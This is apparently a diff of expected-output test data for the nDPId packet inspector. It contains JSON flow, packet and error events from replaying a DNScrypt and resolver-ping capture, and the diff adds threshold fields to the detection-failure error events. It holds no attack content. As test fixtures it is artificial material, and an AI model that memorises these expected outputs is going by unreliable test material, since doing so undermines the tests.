00886{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":399,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":160,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739337078192,"flow_src_last_pkt_time":946739337078192,"flow_dst_last_pkt_time":946739337078192,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739337078192,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"167.114.220.125","src_port":45613,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":400,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739337078199} +00327{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":5,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946739337078199,"packet_id":400,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739337078199} 00424{"packet_event_id":1,"packet_event_name":"packet","packet_id":400,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739337078192,"pkt":"REREREREZmZmZmZmCABFAABQ\/csAub0RumsKAAABp3LcfQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00781{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":401,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":161,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739337078205,"flow_src_last_pkt_time":946739337078205,"flow_dst_last_pkt_time":946739337078205,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739337078205,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"167.114.220.125","src_port":59589,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02485{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":401,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":161,"flow_packet_id":1,"flow_src_last_pkt_time":946739337078205,"flow_dst_last_pkt_time":946739337078205,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739337078205,"pkt":"REREREREZmZmZmZmCABFAAXc\/cwgAL0RlZcKAAABp3LcfejFAbsGBA+Bm2QBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdARjYS0xAAAQAAEAAAAAAAAAAAAFwgAMBb4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00886{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":401,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":161,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739337078205,"flow_src_last_pkt_time":946739337078205,"flow_dst_last_pkt_time":946739337078205,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739337078205,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"167.114.220.125","src_port":59589,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":402,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739337078218} +00327{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":6,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946739337078218,"packet_id":402,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739337078218} 00424{"packet_event_id":1,"packet_event_name":"packet","packet_id":402,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739337078205,"pkt":"REREREREZmZmZmZmCABFAABQ\/cwAub0RumoKAAABp3LcfQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00778{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":403,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":162,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739337078271,"flow_src_last_pkt_time":946739337078271,"flow_dst_last_pkt_time":946739337078271,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739337078271,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"167.114.220.125","src_port":45747,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01202{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":403,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":162,"flow_packet_id":1,"flow_src_last_pkt_time":946739337078271,"flow_dst_last_pkt_time":946739337078271,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946739337078271,"pkt":"REREREREZmZmZmZmCABFAAIc\/c1AAL0ReVYKAAABp3LcfbKzAbsCCEbGm2UBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdARjYS0xAAAQAAEAAAAAAAAAAAABxgAMAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} @@ -827,7 +709,7 @@ 00779{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":412,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":165,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739337184850,"flow_src_last_pkt_time":946739337184850,"flow_dst_last_pkt_time":946739337184850,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739337184850,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"5.189.170.196","src_port":58104,"dst_port":465,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02484{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":412,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":165,"flow_packet_id":1,"flow_src_last_pkt_time":946739337184850,"flow_dst_last_pkt_time":946739337184850,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739337184850,"pkt":"REREREREZmZmZmZmCABFAAXcw6sgAL0RoycKAAABBb2qxOL4AdEGBCbssn4BAAABAAAAAAABATINZG5zY3J5cHQtY2VydARuczE2AmRlA2RucwdvcGVubmljBGdsdWUAABAAAQAAAAAAAAAAAAW3AAwFswAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00884{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":412,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":165,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739337184850,"flow_src_last_pkt_time":946739337184850,"flow_dst_last_pkt_time":946739337184850,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739337184850,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"5.189.170.196","src_port":58104,"dst_port":465,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":413,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739337184865} +00327{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":7,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946739337184865,"packet_id":413,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739337184865} 00424{"packet_event_id":1,"packet_event_name":"packet","packet_id":413,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739337184850,"pkt":"REREREREZmZmZmZmCABFAABQw6sAub0Rx\/oKAAABBb2qxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00776{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":414,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":166,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739337184926,"flow_src_last_pkt_time":946739337184926,"flow_dst_last_pkt_time":946739337184926,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739337184926,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"5.189.170.196","src_port":40748,"dst_port":465,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01201{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":414,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":166,"flow_packet_id":1,"flow_src_last_pkt_time":946739337184926,"flow_dst_last_pkt_time":946739337184926,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946739337184926,"pkt":"REREREREZmZmZmZmCABFAAIcw6xAAL0RhuYKAAABBb2qxJ8sAdECCHNXsoEBAAABAAAAAAABATINZG5zY3J5cHQtY2VydARuczE2AmRlA2RucwdvcGVubmljBGdsdWUAABAAAQAAAAAAAAAAAAG7AAwBtwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} @@ -838,9 +720,9 @@ 00779{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":416,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":168,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739337184962,"flow_src_last_pkt_time":946739337184962,"flow_dst_last_pkt_time":946739337184962,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739337184962,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"5.189.170.196","src_port":59749,"dst_port":465,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02484{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":416,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":168,"flow_packet_id":1,"flow_src_last_pkt_time":946739337184962,"flow_dst_last_pkt_time":946739337184962,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739337184962,"pkt":"REREREREZmZmZmZmCABFAAXcw64gAL0RoyQKAAABBb2qxOllAdEGBCB7soIBAAABAAAAAAABATINZG5zY3J5cHQtY2VydARuczE2AmRlA2RucwdvcGVubmljBGdsdWUAABAAAQAAAAAAAAAAAAW3AAwFswAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00884{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":416,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":168,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739337184962,"flow_src_last_pkt_time":946739337184962,"flow_dst_last_pkt_time":946739337184962,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739337184962,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"5.189.170.196","src_port":59749,"dst_port":465,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":417,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739337184974} +00327{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":8,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946739337184974,"packet_id":417,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739337184974} 